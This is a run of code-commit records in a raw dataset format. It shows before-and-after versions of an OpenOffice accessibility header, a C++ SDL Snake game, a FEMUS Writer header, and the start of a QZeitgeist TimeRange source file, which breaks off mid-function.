Industry Standards\n *  Source License Version 1.1 (the \"License\"); You may not use this file\n *  except in compliance with the License. You may obtain a copy of the\n *  License at http:\/\/www.openoffice.org\/license.html.\n *\n *  Software provided under this License is provided on an \"AS IS\" basis,\n *  WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n *  WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n *  MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n *  See the License for the specific provisions governing your rights and\n *  obligations concerning the Software.\n *\n *  The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n *  Copyright: 2000 by Sun Microsystems, Inc.\n *\n *  All Rights Reserved.\n *\n *  Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n\n\n#ifndef _SC_ACCESSIBLEPREVIEWHEADERCELL_HXX\n#define _SC_ACCESSIBLEPREVIEWHEADERCELL_HXX\n\n#ifndef _SC_ACCESSIBLECONTEXTBASE_HXX\n#include \"AccessibleContextBase.hxx\"\n#endif\n\n#ifndef _DRAFTS_COM_SUN_STAR_ACCESSIBILITY_XACCESSIBLEVALUE_HPP_\n#include <drafts\/com\/sun\/star\/accessibility\/XAccessibleValue.hpp>\n#endif\n\n#ifndef _SV_GEN_HXX\n#include <tools\/gen.hxx>\n#endif\n\n#ifndef SC_SCGLOB_HXX\n#include \"global.hxx\"\n#endif\n\n#ifndef _CPPUHELPER_IMPLBASE1_HXX_\n#include <cppuhelper\/implbase1.hxx>\n#endif\n\nclass ScPreviewShell;\nclass ScPreviewTableInfo;\nclass accessibility::AccessibleTextHelper;\n\ntypedef cppu::ImplHelper1< ::drafts::com::sun::star::accessibility::XAccessibleValue>\n                    ScAccessiblePreviewHeaderCellImpl;\n\nclass ScAccessiblePreviewHeaderCell :\n        public ScAccessibleContextBase,\n        public ScAccessiblePreviewHeaderCellImpl\n{\npublic:\n    ScAccessiblePreviewHeaderCell( const ::com::sun::star::uno::Reference<\n                                ::drafts::com::sun::star::accessibility::XAccessible>& rxParent,\n                            ScPreviewShell* pViewShell,\n                            const ScAddress& rCellPos, sal_Bool bIsColHdr, sal_Bool bIsRowHdr,\n                            sal_Int32 nIndex );\n\nprotected:\n    virtual ~ScAccessiblePreviewHeaderCell();\n\npublic:\n     virtual void SAL_CALL disposing();\n\n    \/\/=====  SfxListener  =====================================================\n\n    virtual void Notify( SfxBroadcaster& rBC, const SfxHint& rHint );\n\n    \/\/\/=====  XInterface  =====================================================\n\n    virtual ::com::sun::star::uno::Any SAL_CALL queryInterface(\n        ::com::sun::star::uno::Type const & rType )\n        throw (::com::sun::star::uno::RuntimeException);\n\n    virtual void SAL_CALL acquire() throw ();\n\n    virtual void SAL_CALL release() throw ();\n\n    \/\/=====  XAccessibleValue  ================================================\n\n    virtual ::com::sun::star::uno::Any SAL_CALL getCurrentValue() throw (::com::sun::star::uno::RuntimeException);\n    virtual sal_Bool SAL_CALL setCurrentValue( const ::com::sun::star::uno::Any& aNumber )\n                                throw (::com::sun::star::uno::RuntimeException);\n    virtual ::com::sun::star::uno::Any SAL_CALL getMaximumValue() throw (::com::sun::star::uno::RuntimeException);\n    virtual ::com::sun::star::uno::Any SAL_CALL getMinimumValue() throw (::com::sun::star::uno::RuntimeException);\n\n    \/\/=====  XAccessibleComponent  ============================================\n\n    virtual ::com::sun::star::uno::Reference< ::drafts::com::sun::star::accessibility::XAccessible > SAL_CALL\n                            getAccessibleAt( const ::com::sun::star::awt::Point& aPoint )\n                                throw (::com::sun::star::uno::RuntimeException);\n    virtual void SAL_CALL   grabFocus() throw (::com::sun::star::uno::RuntimeException);\n\n    \/\/=====  XAccessibleContext  ==============================================\n\n    virtual sal_Int32 SAL_CALL getAccessibleChildCount() throw (::com::sun::star::uno::RuntimeException);\n    virtual ::com::sun::star::uno::Reference< ::drafts::com::sun::star::accessibility::XAccessible > SAL_CALL\n                            getAccessibleChild( sal_Int32 i )\n                                throw (::com::sun::star::lang::IndexOutOfBoundsException,\n                                    ::com::sun::star::uno::RuntimeException);\n    virtual sal_Int32 SAL_CALL getAccessibleIndexInParent() throw (::com::sun::star::uno::RuntimeException);\n    virtual ::com::sun::star::uno::Reference< ::drafts::com::sun::star::accessibility::XAccessibleStateSet > SAL_CALL\n                            getAccessibleStateSet() throw (::com::sun::star::uno::RuntimeException);\n\n    \/\/=====  XServiceInfo  ====================================================\n\n    virtual ::rtl::OUString SAL_CALL getImplementationName()\n                                throw(::com::sun::star::uno::RuntimeException);\n    virtual ::com::sun::star::uno::Sequence< ::rtl::OUString > SAL_CALL getSupportedServiceNames()\n                                throw(::com::sun::star::uno::RuntimeException);\n\n    \/\/\/=====  XTypeProvider  ===================================================\n\n    virtual ::com::sun::star::uno::Sequence< ::com::sun::star::uno::Type > SAL_CALL\n        getTypes()\n        throw (::com::sun::star::uno::RuntimeException);\n\n    \/** Returns a implementation id.\n    *\/\n    virtual ::com::sun::star::uno::Sequence<sal_Int8> SAL_CALL\n        getImplementationId(void)\n        throw (::com::sun::star::uno::RuntimeException);\n\nprotected:\n    virtual ::rtl::OUString SAL_CALL createAccessibleDescription(void) throw(::com::sun::star::uno::RuntimeException);\n    virtual ::rtl::OUString SAL_CALL createAccessibleName(void) throw (::com::sun::star::uno::RuntimeException);\n\n    virtual Rectangle GetBoundingBoxOnScreen(void) const throw(::com::sun::star::uno::RuntimeException);\n    virtual Rectangle GetBoundingBox(void) const throw (::com::sun::star::uno::RuntimeException);\n\nprivate:\n    ScPreviewShell*     mpViewShell;\n    accessibility::AccessibleTextHelper* mpTextHelper;\n    sal_Int32           mnIndex;\n    ScAddress           maCellPos;\n    sal_Bool            mbColumnHeader;\n    sal_Bool            mbRowHeader;\n    mutable ScPreviewTableInfo* mpTableInfo;\n\n    sal_Bool IsDefunc(\n        const com::sun::star::uno::Reference<\n        ::drafts::com::sun::star::accessibility::XAccessibleStateSet>& rxParentStates);\n\n    void CreateTextHelper();\n    void    FillTableInfo() const;\n};\n\n\n#endif\n<commit_msg>INTEGRATION: CWS uaa02 (1.8.24); FILE MERGED 2003\/04\/22 08:15:01 mt 1.8.24.1: #108656# Moved Accessibility from drafts to final<commit_after>\/*************************************************************************\n *\n *  $RCSfile: AccessiblePreviewHeaderCell.hxx,v $\n *\n *  $Revision: 1.9 $\n *\n *  last change: $Author: vg $ $Date: 2003-04-24 17:15:30 $\n *\n *  The Contents of this file are made available subject to the terms of\n *  either of the following licenses\n *\n *         - GNU Lesser General Public License Version 2.1\n *         - Sun Industry Standards Source License Version 1.1\n *\n *  Sun Microsystems Inc., October, 2000\n *\n *  GNU Lesser General Public License Version 2.1\n *  =============================================\n *  Copyright 2000 by Sun Microsystems, Inc.\n *  901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *  This library is free software; you can redistribute it and\/or\n *  modify it under the terms of the GNU Lesser General Public\n *  License version 2.1, as published by the Free Software Foundation.\n *\n *  This library is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *  Lesser General Public License for more details.\n *\n *  You should have received a copy of the GNU Lesser General Public\n *  License along with this library; if not, write to the Free Software\n *  Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *  MA  02111-1307  USA\n *\n *\n *  Sun Industry Standards Source License Version 1.1\n *  =================================================\n *  The contents of this file are subject to the Sun Industry Standards\n *  Source License Version 1.1 (the \"License\"); You may not use this file\n *  except in compliance with the License. You may obtain a copy of the\n *  License at http:\/\/www.openoffice.org\/license.html.\n *\n *  Software provided under this License is provided on an \"AS IS\" basis,\n *  WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n *  WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n *  MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n *  See the License for the specific provisions governing your rights and\n *  obligations concerning the Software.\n *\n *  The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n *  Copyright: 2000 by Sun Microsystems, Inc.\n *\n *  All Rights Reserved.\n *\n *  Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n\n\n#ifndef _SC_ACCESSIBLEPREVIEWHEADERCELL_HXX\n#define _SC_ACCESSIBLEPREVIEWHEADERCELL_HXX\n\n#ifndef _SC_ACCESSIBLECONTEXTBASE_HXX\n#include \"AccessibleContextBase.hxx\"\n#endif\n\n#ifndef _COM_SUN_STAR_ACCESSIBILITY_XACCESSIBLEVALUE_HPP_\n#include <com\/sun\/star\/accessibility\/XAccessibleValue.hpp>\n#endif\n\n#ifndef _SV_GEN_HXX\n#include <tools\/gen.hxx>\n#endif\n\n#ifndef SC_SCGLOB_HXX\n#include \"global.hxx\"\n#endif\n\n#ifndef _CPPUHELPER_IMPLBASE1_HXX_\n#include <cppuhelper\/implbase1.hxx>\n#endif\n\nclass ScPreviewShell;\nclass ScPreviewTableInfo;\nclass accessibility::AccessibleTextHelper;\n\ntypedef cppu::ImplHelper1< ::com::sun::star::accessibility::XAccessibleValue>\n                    ScAccessiblePreviewHeaderCellImpl;\n\nclass ScAccessiblePreviewHeaderCell :\n        public ScAccessibleContextBase,\n        public ScAccessiblePreviewHeaderCellImpl\n{\npublic:\n    ScAccessiblePreviewHeaderCell( const ::com::sun::star::uno::Reference<\n                                ::com::sun::star::accessibility::XAccessible>& rxParent,\n                            ScPreviewShell* pViewShell,\n                            const ScAddress& rCellPos, sal_Bool bIsColHdr, sal_Bool bIsRowHdr,\n                            sal_Int32 nIndex );\n\nprotected:\n    virtual ~ScAccessiblePreviewHeaderCell();\n\npublic:\n     virtual void SAL_CALL disposing();\n\n    \/\/=====  SfxListener  =====================================================\n\n    virtual void Notify( SfxBroadcaster& rBC, const SfxHint& rHint );\n\n    \/\/\/=====  XInterface  =====================================================\n\n    virtual ::com::sun::star::uno::Any SAL_CALL queryInterface(\n        ::com::sun::star::uno::Type const & rType )\n        throw (::com::sun::star::uno::RuntimeException);\n\n    virtual void SAL_CALL acquire() throw ();\n\n    virtual void SAL_CALL release() throw ();\n\n    \/\/=====  XAccessibleValue  ================================================\n\n    virtual ::com::sun::star::uno::Any SAL_CALL getCurrentValue() throw (::com::sun::star::uno::RuntimeException);\n    virtual sal_Bool SAL_CALL setCurrentValue( const ::com::sun::star::uno::Any& aNumber )\n                                throw (::com::sun::star::uno::RuntimeException);\n    virtual ::com::sun::star::uno::Any SAL_CALL getMaximumValue() throw (::com::sun::star::uno::RuntimeException);\n    virtual ::com::sun::star::uno::Any SAL_CALL getMinimumValue() throw (::com::sun::star::uno::RuntimeException);\n\n    \/\/=====  XAccessibleComponent  ============================================\n\n    virtual ::com::sun::star::uno::Reference< ::com::sun::star::accessibility::XAccessible > SAL_CALL\n                            getAccessibleAtPoint( const ::com::sun::star::awt::Point& aPoint )\n                                throw (::com::sun::star::uno::RuntimeException);\n    virtual void SAL_CALL   grabFocus() throw (::com::sun::star::uno::RuntimeException);\n\n    \/\/=====  XAccessibleContext  ==============================================\n\n    virtual sal_Int32 SAL_CALL getAccessibleChildCount() throw (::com::sun::star::uno::RuntimeException);\n    virtual ::com::sun::star::uno::Reference< ::com::sun::star::accessibility::XAccessible > SAL_CALL\n                            getAccessibleChild( sal_Int32 i )\n                                throw (::com::sun::star::lang::IndexOutOfBoundsException,\n                                    ::com::sun::star::uno::RuntimeException);\n    virtual sal_Int32 SAL_CALL getAccessibleIndexInParent() throw (::com::sun::star::uno::RuntimeException);\n    virtual ::com::sun::star::uno::Reference< ::com::sun::star::accessibility::XAccessibleStateSet > SAL_CALL\n                            getAccessibleStateSet() throw (::com::sun::star::uno::RuntimeException);\n\n    \/\/=====  XServiceInfo  ====================================================\n\n    virtual ::rtl::OUString SAL_CALL getImplementationName()\n                                throw(::com::sun::star::uno::RuntimeException);\n    virtual ::com::sun::star::uno::Sequence< ::rtl::OUString > SAL_CALL getSupportedServiceNames()\n                                throw(::com::sun::star::uno::RuntimeException);\n\n    \/\/\/=====  XTypeProvider  ===================================================\n\n    virtual ::com::sun::star::uno::Sequence< ::com::sun::star::uno::Type > SAL_CALL\n        getTypes()\n        throw (::com::sun::star::uno::RuntimeException);\n\n    \/** Returns a implementation id.\n    *\/\n    virtual ::com::sun::star::uno::Sequence<sal_Int8> SAL_CALL\n        getImplementationId(void)\n        throw (::com::sun::star::uno::RuntimeException);\n\nprotected:\n    virtual ::rtl::OUString SAL_CALL createAccessibleDescription(void) throw(::com::sun::star::uno::RuntimeException);\n    virtual ::rtl::OUString SAL_CALL createAccessibleName(void) throw (::com::sun::star::uno::RuntimeException);\n\n    virtual Rectangle GetBoundingBoxOnScreen(void) const throw(::com::sun::star::uno::RuntimeException);\n    virtual Rectangle GetBoundingBox(void) const throw (::com::sun::star::uno::RuntimeException);\n\nprivate:\n    ScPreviewShell*     mpViewShell;\n    accessibility::AccessibleTextHelper* mpTextHelper;\n    sal_Int32           mnIndex;\n    ScAddress           maCellPos;\n    sal_Bool            mbColumnHeader;\n    sal_Bool            mbRowHeader;\n    mutable ScPreviewTableInfo* mpTableInfo;\n\n    sal_Bool IsDefunc(\n        const com::sun::star::uno::Reference<\n        ::com::sun::star::accessibility::XAccessibleStateSet>& rxParentStates);\n\n    void CreateTextHelper();\n    void    FillTableInfo() const;\n};\n\n\n#endif\n<|endoftext|>"}
{"text":"<commit_before>\/*\n *  This file is part of SKATRAK Playground.\n *\n *  SKATRAK Playground is free software: you can redistribute it and\/or modify\n *  it under the terms of the GNU Lesser General Public License as published by\n *  the Free Software Foundation, either version 2.1 of the License, or\n *  (at your option) any later version.\n *\n *  This program is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n *  GNU Lesser General Public License for more details.\n *\n *  You should have received a copy of the GNU Lesser General Public License\n *  along with this program. If not, see <http:\/\/www.gnu.org\/licenses\/> or\n *  write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth\n *  Floor, Boston, MA 02110-1301 USA\n *\n *  Sergio M. Afonso Fumero <theSkatrak@gmail.com>\n *\/\n\n#include <SKATRAK_PLAYGROUND.hpp>\n#include <shared_attributes.hpp>\n#include <snake\/snakePiece.hpp>\n#include <snake\/snake.hpp>\n#include <snake\/snakeMap.hpp>\n\nreturnVal gameSnake(void*){\n\t\/\/ Inicializacin de la semilla\n\tsrand(SDL_GetTicks());\n\n\t\/\/ Fondo de la pantalla\n\tSDL_Surface* screen = sistema->scr();\n\timage_t background(\"fondo_inicio_prueba.png\");\n\timage_t foodImg(\"snake\/serpiente_comida_prueba.png\");\n\n\t\/\/ La serpiente\n\tsnake_t snake;\n\tsnake.setPos(10, 10, MOVE_RIGHT);\n\tsnake.setImg(\"snake\/serpiente_pruebav2.png\", 32);\n\tint headX, headY, foodX = -1, foodY = -1;\n\n\t\/\/ Colocamos la primera comida\n\tfoodX = rand() % (int)(sistema->width()\/32);\n\tfoodY = rand() % (int)(sistema->height()\/32);\n\n\t\/\/ Game loop\n\tSDL_Event event;\n\ttimekeeper_t timer;\n\twhile(true){\n\t\ttimer.refresh();\n\t\twhile(SDL_PollEvent(&event)){\n\t\t\tswitch(event.type){\n\t\t\tcase SDL_KEYDOWN:\n\t\t\t\tswitch(event.key.keysym.sym){\n\t\t\t\tcase SDLK_UP:\n\t\t\t\t\tsnake.turn(MOVE_UP);\n\t\t\t\t\tbreak;\n\t\t\t\tcase SDLK_DOWN:\n\t\t\t\t\tsnake.turn(MOVE_DOWN);\n\t\t\t\t\tbreak;\n\t\t\t\tcase SDLK_LEFT:\n\t\t\t\t\tsnake.turn(MOVE_LEFT);\n\t\t\t\t\tbreak;\n\t\t\t\tcase SDLK_RIGHT:\n\t\t\t\t\tsnake.turn(MOVE_RIGHT);\n\t\t\t\t\tbreak;\n\t\t\t\tcase SDLK_ESCAPE:\n\t\t\t\t\treturn ACTUAL_MENU;\n\t\t\t\tdefault: break;\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\tcase SDL_QUIT:\n\t\t\t\treturn EXIT;\n\t\t\tdefault: break;\n\t\t\t}\n\t\t}\n\t\t\/\/ Lgica del juego\n\t\tif(timer.renderedFrames() == 2){\n\t\t\ttimer.resetFrames();\n\t\t\tsnake.step();\n\t\t\tif(snake.headPos(&headX, &headY) >= 0){\n\t\t\t\tif(headX >= (sistema->width()\/32))\n\t\t\t\t\tsnake.setHeadPos(0, headY);\n\t\t\t\telse if(headX < 0)\n\t\t\t\t\tsnake.setHeadPos((sistema->width()\/32)-1, headY);\n\t\t\t\tif(headY >= (sistema->height()\/32))\n\t\t\t\t\tsnake.setHeadPos(headX, 0);\n\t\t\t\telse if(headY < 0)\n\t\t\t\t\tsnake.setHeadPos(headX, (sistema->height()\/32)-1);\n\t\t\t}\n\t\t\tif(headX == foodX && headY == foodY){\n\t\t\t\tsnake.addPiece(3);\n\t\t\t\tdo {\n\t\t\t\t\tfoodX = rand() % (int)(sistema->width()\/32);\n\t\t\t\t\tfoodY = rand() % (int)(sistema->height()\/32);\n\t\t\t\t} while(foodX == headX && foodY == headY);\n\t\t\t}\n\t\t\tif(snake.checkCollision()){\n\t\t\t\tprintf(\"Te mordiste la cola.\\n\");\n\t\t\t\treturn ACTUAL_MENU;\n\t\t\t}\n\t\t}\n\n\t\t\/\/ Imprimir por pantalla\n\t\tbackground.blit(0, 0, screen);\n\t\tfoodImg.blit(foodX*32, foodY*32, screen);\n\t\tsnake.blit(0, 0, screen);\n\t\tsistema->update();\n\t\ttimer.waitFramerate(30);\n\t}\n}\n<commit_msg>Snake de prueba utilizando lo desarrollado en los últimos días<commit_after>\/*\n *  This file is part of SKATRAK Playground.\n *\n *  SKATRAK Playground is free software: you can redistribute it and\/or modify\n *  it under the terms of the GNU Lesser General Public License as published by\n *  the Free Software Foundation, either version 2.1 of the License, or\n *  (at your option) any later version.\n *\n *  This program is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n *  GNU Lesser General Public License for more details.\n *\n *  You should have received a copy of the GNU Lesser General Public License\n *  along with this program. If not, see <http:\/\/www.gnu.org\/licenses\/> or\n *  write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth\n *  Floor, Boston, MA 02110-1301 USA\n *\n *  Sergio M. Afonso Fumero <theSkatrak@gmail.com>\n *\/\n\n#include <SKATRAK_PLAYGROUND.hpp>\n#include <shared_attributes.hpp>\n#include <snake\/snakePiece.hpp>\n#include <snake\/snake.hpp>\n#include <snake\/snakeMap.hpp>\n\nreturnVal gameSnake(void*){\n\t\/\/ Inicializacin de la semilla\n\tsrand(SDL_GetTicks());\n\n\t\/\/ Fondo de la pantalla\n\tSDL_Surface* screen = sistema->scr();\n\timage_t background(\"fondo_inicio_prueba.png\");\n\n\t\/\/ La serpiente\n\tsnakeMap_t snakemap(10, 10, \"snake\/serpiente_mapa_fondo_prueba.png\");\n\tsnakemap.loadMapScheme(\"mapasnake_prueba.txt\");\n\tsnakemap.setSnakeImg(\"snake\/serpiente_pruebav2.png\", 32);\n\tsnakemap.setFoodImg(\"snake\/serpiente_comida_prueba.png\");\n\t\/\/ Nmeros pequeos para probar su correcto funcionamiento\n\tsnakemap.setFoodLimit(25);\n\tsnakemap.setTimeLimit(150);\n\n\t\/\/ Game loop\n\tint puntuacion = 0;\n\tSDL_Event event;\n\ttimekeeper_t timer;\n\twhile(true){\n\t\ttimer.refresh();\n\t\twhile(SDL_PollEvent(&event)){\n\t\t\tswitch(event.type){\n\t\t\tcase SDL_KEYDOWN:\n\t\t\t\tswitch(event.key.keysym.sym){\n\t\t\t\tcase SDLK_UP:\n\t\t\t\t\tsnakemap.turnSnake(MOVE_UP);\n\t\t\t\t\tbreak;\n\t\t\t\tcase SDLK_DOWN:\n\t\t\t\t\tsnakemap.turnSnake(MOVE_DOWN);\n\t\t\t\t\tbreak;\n\t\t\t\tcase SDLK_LEFT:\n\t\t\t\t\tsnakemap.turnSnake(MOVE_LEFT);\n\t\t\t\t\tbreak;\n\t\t\t\tcase SDLK_RIGHT:\n\t\t\t\t\tsnakemap.turnSnake(MOVE_RIGHT);\n\t\t\t\t\tbreak;\n\t\t\t\tcase SDLK_ESCAPE:\n\t\t\t\t\treturn ACTUAL_MENU;\n\t\t\t\tdefault: break;\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\tcase SDL_QUIT:\n\t\t\t\treturn EXIT;\n\t\t\tdefault: break;\n\t\t\t}\n\t\t}\n\t\t\/\/ Lgica del juego\n\t\tif(timer.renderedFrames() == 5){\n\t\t\ttimer.resetFrames();\n\t\t\tswitch(snakemap.update()){\n\t\t\tcase HIT_NONE:\n\t\t\t\tbreak;\n\t\t\tcase HIT_BONUS:\n\t\t\t\tpuntuacion += 5;\t\/\/ Deliberadamente sin 'break' para que se sume ms a la puntuacin\n\t\t\tcase HIT_NORMAL:\n\t\t\t\tpuntuacion += 5;\n\t\t\t\tbreak;\n\t\t\tcase HIT_DEATH:\n\t\t\t\tprintf(\"Has muerto. Puntuacin: %d\\n\", puntuacion);\n\t\t\t\treturn ACTUAL_MENU;\n\t\t\tcase HIT_WARP:\t\/\/ Aqu se podra cargar otro mapa, etc...\n\t\t\t\tprintf(\"Has ganado. Puntuacin: %d\\n\", puntuacion);\n\t\t\t\treturn MAIN;\n\t\t\t}\n\t\t}\n\n\t\t\/\/ Imprimir por pantalla\n\t\tbackground.blit(0, 0, screen);\n\t\tsnakemap.blit(screen);\n\t\tsistema->update();\n\t\ttimer.waitFramerate(30);\n\t}\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*=========================================================================\n\n Program: FEMUS\n Module: Writer\n Authors: Eugenio Aulisa, Simone Bnà, Giorgio Bornia\n\n Copyright (c) FEMTTU\n All rights reserved.\n\n This software is distributed WITHOUT ANY WARRANTY; without even\n the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\n PURPOSE.  See the above copyright notice for more information.\n\n=========================================================================*\/\n\n#ifndef __femus_solution_Writer_hpp__\n#define __femus_solution_Writer_hpp__\n\n\/\/----------------------------------------------------------------------------\n\/\/ includes :\n\/\/----------------------------------------------------------------------------\n#include <vector>\n#include <string>\n#include <memory>\n#include \"ParallelObject.hpp\"\n#include \"WriterEnum.hpp\"\n\nnamespace femus {\n\n  \/\/------------------------------------------------------------------------------\n  \/\/ Forward declarations\n  \/\/------------------------------------------------------------------------------\n  class MultiLevelMesh;\n  class MultiLevelSolution;\n  class SparseMatrix;\n  class Vector;\n\n\n  class Writer : public ParallelObject {\n\n  public:\n\n    \/** Constructor. *\/\n    Writer(MultiLevelSolution * ml_sol);\n\n    \/** Constructor. *\/\n    Writer(MultiLevelMesh * ml_mesh);\n\n    \/** Destructor *\/\n    virtual ~Writer();\n\n    \/** write output function *\/\n    virtual void Write(const std::string output_path, const char order[], const std::vector < std::string > & vars = std::vector < std::string > (), const unsigned time_step = 0)  = 0;\n    \/** set moving mesh *\/\n    void SetMovingMesh(std::vector<std::string>& movvars_in);\n\n    \/** runtime selection of writer for MLsol *\/\n    static std::auto_ptr<Writer> build(const WriterEnum format, MultiLevelSolution * ml_sol);\n\n    \/** runtime selection of writer for MLmesh *\/\n    static std::auto_ptr<Writer> build(const WriterEnum format, MultiLevelMesh * ml_mesh);\n\n    virtual void SetDebugOutput( bool value ){\n      std::cout<<\"Warning this writer type does not have debug printing\"<<std::endl;\n    };\n\n    void SetGraphVariable(const std::string &GraphVaraible);\n    void UnsetGraphVariable(){ _graph = false;};\n\n    void SetSurfaceVariables( std::vector < std::string > &surfaceVariable );\n    void UnsetSurfaceVariables(){ _surface = false;};\n\n  protected:\n\n    \/** a flag to move the output mesh *\/\n    int _moving_mesh;\n\n    \/** the displacement variables for mesh moving *\/\n    std::vector<std::string> _moving_vars;\n\n    bool _graph;\n    std::string _graphVariable;\n\n    bool _surface;\n    std::vector < std::string > _surfaceVariables;\n\n\n    \/** the multilevelsolution pointer *\/\n    MultiLevelSolution* _ml_sol;\n\n    \/** the multilevel mesh *\/\n    MultiLevelMesh* _ml_mesh;\n\n    int _gridn;\n\n    \/** map from femus connectivity to vtk-connectivity for paraview visualization *\/\n    static const unsigned FemusToVTKorToXDMFConn[27];\n\n\n\n  private:\n\n  };\n\n} \/\/end namespace femus\n\n\n\n#endif\n<commit_msg>fixed issues<commit_after>\/*=========================================================================\n\n Program: FEMUS\n Module: Writer\n Authors: Eugenio Aulisa, Simone Bnà, Giorgio Bornia\n\n Copyright (c) FEMTTU\n All rights reserved.\n\n This software is distributed WITHOUT ANY WARRANTY; without even\n the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\n PURPOSE.  See the above copyright notice for more information.\n\n=========================================================================*\/\n\n#ifndef __femus_solution_Writer_hpp__\n#define __femus_solution_Writer_hpp__\n\n\/\/----------------------------------------------------------------------------\n\/\/ includes :\n\/\/----------------------------------------------------------------------------\n#include <vector>\n#include <string>\n#include <memory>\n#include <iostream>\n#include \"ParallelObject.hpp\"\n#include \"WriterEnum.hpp\"\n\nnamespace femus {\n\n  \/\/------------------------------------------------------------------------------\n  \/\/ Forward declarations\n  \/\/------------------------------------------------------------------------------\n  class MultiLevelMesh;\n  class MultiLevelSolution;\n  class SparseMatrix;\n  class Vector;\n\n\n  class Writer : public ParallelObject {\n\n  public:\n\n    \/** Constructor. *\/\n    Writer(MultiLevelSolution * ml_sol);\n\n    \/** Constructor. *\/\n    Writer(MultiLevelMesh * ml_mesh);\n\n    \/** Destructor *\/\n    virtual ~Writer();\n\n    \/** write output function *\/\n    virtual void Write(const std::string output_path, const char order[], const std::vector < std::string > & vars = std::vector < std::string > (), const unsigned time_step = 0)  = 0;\n    \/** set moving mesh *\/\n    void SetMovingMesh(std::vector<std::string>& movvars_in);\n\n    \/** runtime selection of writer for MLsol *\/\n    static std::auto_ptr<Writer> build(const WriterEnum format, MultiLevelSolution * ml_sol);\n\n    \/** runtime selection of writer for MLmesh *\/\n    static std::auto_ptr<Writer> build(const WriterEnum format, MultiLevelMesh * ml_mesh);\n\n    virtual void SetDebugOutput( bool value ){\n      std::cout<<\"Warning this writer type does not have debug printing\"<<std::endl;\n    };\n\n    void SetGraphVariable(const std::string &GraphVaraible);\n    void UnsetGraphVariable(){ _graph = false;};\n\n    void SetSurfaceVariables( std::vector < std::string > &surfaceVariable );\n    void UnsetSurfaceVariables(){ _surface = false;};\n\n  protected:\n\n    \/** a flag to move the output mesh *\/\n    int _moving_mesh;\n\n    \/** the displacement variables for mesh moving *\/\n    std::vector<std::string> _moving_vars;\n\n    bool _graph;\n    std::string _graphVariable;\n\n    bool _surface;\n    std::vector < std::string > _surfaceVariables;\n\n\n    \/** the multilevelsolution pointer *\/\n    MultiLevelSolution* _ml_sol;\n\n    \/** the multilevel mesh *\/\n    MultiLevelMesh* _ml_mesh;\n\n    int _gridn;\n\n    \/** map from femus connectivity to vtk-connectivity for paraview visualization *\/\n    static const unsigned FemusToVTKorToXDMFConn[27];\n\n\n\n  private:\n\n  };\n\n} \/\/end namespace femus\n\n\n\n#endif\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * This file is part of QZeitgeist.\n *\n * Copyright (C) 2013 David Rosca <nowrep@gmail.com>\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA\n *\/\nextern \"C\" {\n#include <zeitgeist.h>\n}\n\n#include \"timerange.h\"\n#include \"timerange_p.h\"\n#include <limits>\n#include <QDateTime>\n\nnamespace QZeitgeist\n{\n\nTimeRangePrivate::TimeRangePrivate(qint64 start_, qint64 end_)\n    : start(start_)\n    , end(end_)\n{\n}\n\nTimeRangePrivate::TimeRangePrivate(const TimeRangePrivate &other)\n    : start(other.start)\n    , end(other.end)\n{\n}\n\nbool TimeRangePrivate::compare(const TimeRangePrivate &other) const\n{\n    return start == other.start && end == other.end;\n}\n\n::ZeitgeistTimeRange *timeRangeToNative(const TimeRange &other)\n{\n    return zeitgeist_time_range_new(other.start(), other.end());\n}\n\n\/\/ class TimeRange\nTimeRange::TimeRange(qint64 start, qint64 end)\n    : d(new TimeRangePrivate(start, end))\n{\n}\n\nTimeRange::TimeRange(const TimeRange &other)\n    : d(new TimeRangePrivate(*other.d))\n{\n}\n\nTimeRange::~TimeRange()\n{\n}\n\nTimeRange &TimeRange::operator=(const TimeRange &other)\n{\n    if (this != &other) {\n        d->start = other.d->start;\n        d->end = other.d->end;\n    }\n\n    return *this;\n}\n\nbool TimeRange::operator==(const TimeRange &other) const\n{\n    return d->compare(*other.d);\n}\n\nbool TimeRange::isValid() const\n{\n    return d->start > -1 && d->end > -1 && d->start <= d->end;\n}\n\nqint64 TimeRange::start() const\n{\n    return d->start;\n}\n\nqint64 TimeRange::end() const\n{\n    return d->end;\n}\n\nTimeRange TimeRange::intersect(const TimeRange &timeRange) const\n{\n    ::ZeitgeistTimeRange *thisTr = timeRangeToNative(*this);\n    ::ZeitgeistTimeRange *otherTr = timeRangeToNative(timeRange);\n    